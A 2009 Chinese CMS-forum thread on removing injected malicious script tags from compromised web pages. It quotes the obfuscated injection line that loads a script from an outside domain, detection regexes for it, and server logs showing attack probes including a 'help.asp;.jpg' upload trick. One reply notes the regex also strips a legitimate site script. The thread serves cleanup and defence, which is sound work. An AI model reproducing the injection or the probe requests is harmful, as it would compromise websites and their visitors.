三分钟清除您网站中木马的页面，正则朋友请看-领先建站CMS提供服务商我们专注于CMS建站产品的研发

8971 查看	28 回复

主题：三分钟清除您网站中木马的页面，正则朋友请看 [收藏主题] 本贴被认定为精华

转到：

abc1988 当前离线

195 主题	0 广播	5 粉丝

级别:一年级

用户积分:3004 分
登录次数:313 次
注册时间:2007/11/10
最后登录:2011/6/13

abc1988 发表于：2009/9/15 16:39:00 | 只看该作者查看该作者主题楼主

有生源找课程就上科汛课堂街!

删除所有script或iframe开头的有效，正确的正则：

<(script|iframe) +[^>]*www.icxxw.com[^>]*>[^<]*</\1>

或者更快捷全面的是：

<(script|iframe) +[^>]*seraph[^>]*>[^<]*</\1>

*后面改成你想要包含的字符，这样就已经清除了.asp,.html,.html的木马了

剩下的就是.js文件了
那么删除所有
document.writeln('<script language="JavaScript" src="http://www.icxxw.co%6D/i%6Dages/logo.swf" type="text/javascript" id="seraph6script7639" ><\/script>');

这个正确的正则应该是：
？？？
请官方或能人回答这个表达式，谢谢

也就是前后多了：document.writeln('和');

若能突破，将会是最快的清除现在科讯中马的页面的方法！

最终解决方法如下：三分钟搞定

ultraedit在文件中替换，选ultraedit正则：

搜搜索文档类型：*.asp;*.htm;*.html;*.js;

第一正则：document.writeln('<script*seraph*><\/script>');

第二正则：<script*seraph*></script>

2个按钮中马页面统统恢复，不用谢我，好东西一起分享！

做官网就用科汛智能建站系统!

支持(0) |

反对(0)

顶端

底部

kkynietg 当前离线

217 主题	0 广播	1 粉丝

级别:二年级

用户积分:1242 分
登录次数:48 次
注册时间:2006/12/29
最后登录:2016/5/11

kkynietg 发表于：2009/9/29 17:01:00 | 只看该作者查看该作者主题沙发

做考试题库就用#科汛在线考试系统!

其实一次挂马的代码都是一样的，不用正则也可以很快替换完，emedit、ultraedit32 、editplus等等都支持多文件扫描替换

一分钟快速开通线上知识店铺

支持(0) |

反对(0)

顶端

底部

keaini 当前离线

220 主题	0 广播	0 粉丝

级别:二年级

用户积分:1327 分
登录次数:9 次
注册时间:2009/9/14
最后登录:2009/10/24

keaini 发表于：2009/9/23 13:52:00 | 只看该作者查看该作者主题藤椅

有课程找生源就上科汛课堂街

收藏好

做官网就用科汛智能建站系统!

支持(0) |

反对(0)

顶端

底部

fqceo 当前离线

229 主题	2 广播	0 粉丝

级别:二年级

用户积分:1565 分
登录次数:117 次
注册时间:2009/6/18
最后登录:2013/10/10

fqceo 发表于：2009/9/16 4:52:00 | 只看该作者查看该作者主题板凳

有课程找生源就上科汛课堂街

妈的，最近针对科讯的木马很多。。漏洞啊。。

科汛商学院助您快速入门

支持(0) |

反对(0)

顶端

底部

rzkgj 当前离线

88 主题	0 广播	0 粉丝

级别:学前班

用户积分:931 分
登录次数:82 次
注册时间:2007/6/5
最后登录:2015/4/4

rzkgj 发表于：2009/9/15 21:30:00 | 只看该作者查看该作者主题报纸

有课程找生源就上科汛课堂街

kanakn

一分钟快速开通线上知识店铺

支持(0) |

反对(0)

顶端

底部

abc1988 当前离线

195 主题	0 广播	5 粉丝

级别:一年级

用户积分:3004 分
登录次数:313 次
注册时间:2007/11/10
最后登录:2011/6/13

abc1988 发表于：2009/9/15 19:22:00 | 只看该作者查看该作者主题地板

做官网就用科汛智能建站系统!

ultraedit在文件中替换，选ultraedit正则：

搜搜索文档类型：*.asp;*.htm;*.html;*.js;

第一正则：document.writeln('<script*seraph*><\/script>');

第二正则：<script*seraph*></script>

2个按钮中马页面统统恢复，不用谢我，好东西一起分享！

做新职业技能培训平台就选#科汛网校

支持(0) |

反对(0)

顶端

底部

shixt 当前离线

102 主题	0 广播	0 粉丝

级别:一年级

用户积分:938 分
登录次数:83 次
注册时间:2007/6/5
最后登录:2022/8/25

shixt 发表于：2009/9/15 22:59:00 | 只看该作者查看该作者主题 7楼

做线上考试培训就选#科汛网校

这个方法不可靠

会把 <script src="/ks_inc/ajax.js" type="text/javascript"></script>
这个也过滤的

我考虑过楼主的方法

不可行的

治标不治本

有课程找生源就上科汛课堂街

支持(0) |

反对(0)

顶端

底部

abc1988 当前离线

195 主题	0 广播	5 粉丝

级别:一年级

用户积分:3004 分
登录次数:313 次
注册时间:2007/11/10
最后登录:2011/6/13

abc1988 发表于：2009/9/16 17:41:00 | 只看该作者查看该作者主题 8楼

做线上考试培训就选#科汛网校

2009-09-16 07:51:03 W3SVC2111342725 212.184.32.19 POST /cla/Images/Pannel/help.asp;.jpg - 80 - 58.61.36.103 - 404 0 2

jbywmanage

2009-09-15 15:00:55 W3SVC1494564086 212.184.32.19 GET /fqvxservusu.asp - 80 - 125.64.220.102 Mozilla/4.0 301 0 64
2009-09-15 15:00:55 W3SVC1494564086 212.184.32.19 GET /puzbsu.asp - 80 - 125.64.220.102 Mozilla/4.0 301 0 64
2009-09-15 15:00:55 W3SVC1494564086 212.184.32.19 GET /lqapservu.asp - 80 - 125.64.220.102 Mozilla/4.0 301 0 64
2009-09-15 15:00:55 W3SVC1494564086 212.184.32.19 GET /bbs/ikwaservu.asp - 80 - 125.64.220.102 Mozilla/4.0 301 0 64
2009-09-15 15:00:55 W3SVC1494564086 212.184.32.19 GET /jhykservu.aspx - 80 - 125.64.220.102 Mozilla/4.0 301 0 64
2009-09-15 15:00:55 W3SVC1494564086 212.184.32.19 GET /bbs/kzeyservu.aspx - 80 - 125.64.220.102 Mozilla/4.0 301 0 64
2009-09-15 15:00:56 W3SVC1494564086 212.184.32.19 GET /nlpfservu.php - 80 - 125.64.220.102 Mozilla/4.0 301 0 64
2009-09-15 15:00:56 W3SVC1494564086 212.184.32.19 GET /bbs/pgiyservu.php - 80 - 125.64.220.102 Mozilla/4.0 301 0 64

有课程找生源就上科汛课堂街

支持(0) |

反对(0)

顶端

底部